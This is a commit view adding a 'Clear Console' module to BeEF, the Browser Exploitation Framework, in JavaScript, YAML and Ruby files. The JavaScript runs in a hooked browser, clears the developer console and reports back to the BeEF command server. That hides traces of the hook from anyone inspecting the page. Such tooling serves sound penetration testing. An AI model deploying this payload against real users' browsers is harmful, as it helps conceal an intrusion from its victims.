Add Clear Console module
This commit is contained in:
15
modules/browser/hooked_domain/clear_console/command.js
Normal file
15
modules/browser/hooked_domain/clear_console/command.js
Normal file
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
try {
|
||||
beef.debug("Clearing console...");
|
||||
console.clear();
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console");
|
||||
} catch(e) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console");
|
||||
}
|
||||
});
|
||||
17
modules/browser/hooked_domain/clear_console/config.yaml
Normal file
17
modules/browser/hooked_domain/clear_console/config.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
clear_console:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Clear Console"
|
||||
description: "This module clears the Chrome developer console buffer."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
user_notify: ["C"]
|
||||
not_working: ["All"]
|
||||
|
||||
14
modules/browser/hooked_domain/clear_console/module.rb
Normal file
14
modules/browser/hooked_domain/clear_console/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Clear_console < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user